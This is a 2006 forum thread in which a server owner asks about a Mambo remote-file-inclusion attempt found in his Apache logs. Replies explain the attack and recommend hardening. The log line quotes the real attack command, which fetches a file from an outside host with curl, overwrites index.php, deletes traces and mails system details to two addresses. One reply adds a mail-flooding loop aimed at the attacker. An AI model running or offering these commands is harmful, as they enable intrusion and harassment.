php and apache hack

ajk48n · 07-18-2006, 09:33 PM

So I have a computer running apache, mysql, and php. I've noticed in my apache logs that some has been trying to get information form my system.

Over the past few days, this command has been issued.

211.213.178.106 - - [15/Jul/2006:12:22:08 -0500] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLO
BALS=&mosConfig_absolute_path=http://220.194.57.112/~photo/cm?&cmd=cd%20cache;curl%20-O%20http://220.194.57.112/~photo/cm;m
v%20cm%20index.php;rm%20-rf%20cm*;uname%20-a%20|%20mail%20-s%20uname_i2_67.175.201.98%20kkparole@yahoo.com;uname%20-a%20|%2
0mail%20-s%20uname_i2_67.175.201.98%20michaelroul@yahoo.com;echo| HTTP/1.1" 404 65

Correct me if I'm wrong, but I believe they are trying to copy a file "cm" to my computer, overwrite index.php, and remove any evidence. Then they are emailing info about my system to a couple yahoo email addresses.

This command is repeated for a bunch of sub-directories all looking for index.php.

None of the subdirectories they looked for exist, and there is no index.php in the main directory, so I do't think any files were overwritten.

There is nothing important on this computer, so if I have been compromised, re-installing is not a problem, but I would rather learn from this and tighten security, and try to track down anything else that may have happened.

So I have a few questions. Some of these might be very simple.

How can I disable mail so they could not email themselves?

Was something actually executed on my computer?

Any links for how php can be exploited to let a command be executed on a remote computer?

What settings should I change for php, mysql, or apache to help stop these explots?

Matir · 07-18-2006, 10:47 PM

The 404 indicates that the vulnerable application (mambo) is not installed on your system. Interestingly, you can get the hackers email addresses (two yahoo accounts) from the data they sent you. I doubt you'd be able to get anything done, however.

TigerOC · 07-19-2006, 03:29 AM

The gentleman (caca) is well lnown to me. My suggestion is to look at implementing mod-security and the common rules on your apache server if you are using php based apps. There are also modifications that should be made to php.ini such as turning globals off. You can view the code for the exploit by using the address before the "&cmd". He isn't trying to upload the app to your system. The code from this page is probing your system to find weaknesses in your system security.
Whilst there may not be anything important on your server you might find that your system is "acquired" by a hacker and applications such as IRC software is installed and a group then starts using your system as a meeting place. The most important thing is ensure that he doesn't get access to /.

nx5000 · 07-19-2006, 05:05 AM

Send him a little gift?

Code:

for (( i=1 ; $i<1000 ; i=$(($i+1)) )) ; do head -c8000 /dev/urandom| od -An -tu4 | mail -s uname_i2_$(($i*$i%256)).$(($i*$i*$i%255)).$(($i*$i*$i%254)).$(($i*$i*$i*$i*$i%253)) kkparole@yahoo.com ; done

billymayday · 07-19-2006, 05:09 AM

What does that do nx?

nx5000 · 07-19-2006, 05:21 AM

It sends him 8000 emails in a few minutes
Fightback sometimes is good. Be sure to hide your IP when you do this..

Sorry mods if this is against the rules, delete it. Well its just a for loop after all

ajk48n · 07-19-2006, 09:27 AM

How would someone be able to gain access to / since apache's root directory is /var/www ?

How do you hide your IP?

Thanks for all the help.

Matir · 07-19-2006, 12:13 PM

Unless apache's running in a chroot, the root directory for the server has no affect on controlling access to other directories.

Also, retaliation is unhelpful and probably illegal. Let's not sink to their level.

TigerOC · 07-19-2006, 12:19 PM

Quote:

Originally Posted by ajk48n

How would someone be able to gain access to / since apache's root directory is /var/www ?

There are certain scripts around such as r57 which will enable the hacker to explore your whole file system if you have any vulnerable php applications on your site. I have personal experience of this. It is then possible for them, using the same tool, to upload files to your server under the ownership of your apache user (www-data or nobody). Take a look at two screen captures of this tool in action before I implemented mod-security on my server, with a vulnerable app,
here and here.

ajk48n · 07-19-2006, 08:03 PM

Thanks for all the replies.

What changes could I add in apache's security files that would make these or other attacks have less chances of succeeding?

Matir · 07-19-2006, 08:12 PM

Really, if you're running a vulnerable application, apache won't stop it. However, there is a decent article on securing apache in general at http://www.securityfocus.com/infocus/1694. A similar article for PHP, by the same author, is can be found at http://www.securityfocus.com/infocus/1706.

ajk48n · 07-19-2006, 11:29 PM

Thanks for the links

Matir · 07-20-2006, 12:23 AM

No problem. Let me know if I can expand on any of the content in those articles.

fedora4002 · 07-20-2006, 11:17 AM

Look like someone trying to fine vulnerable mambo system
http://seclists.org/lists/fulldisclo.../Mar/0176.html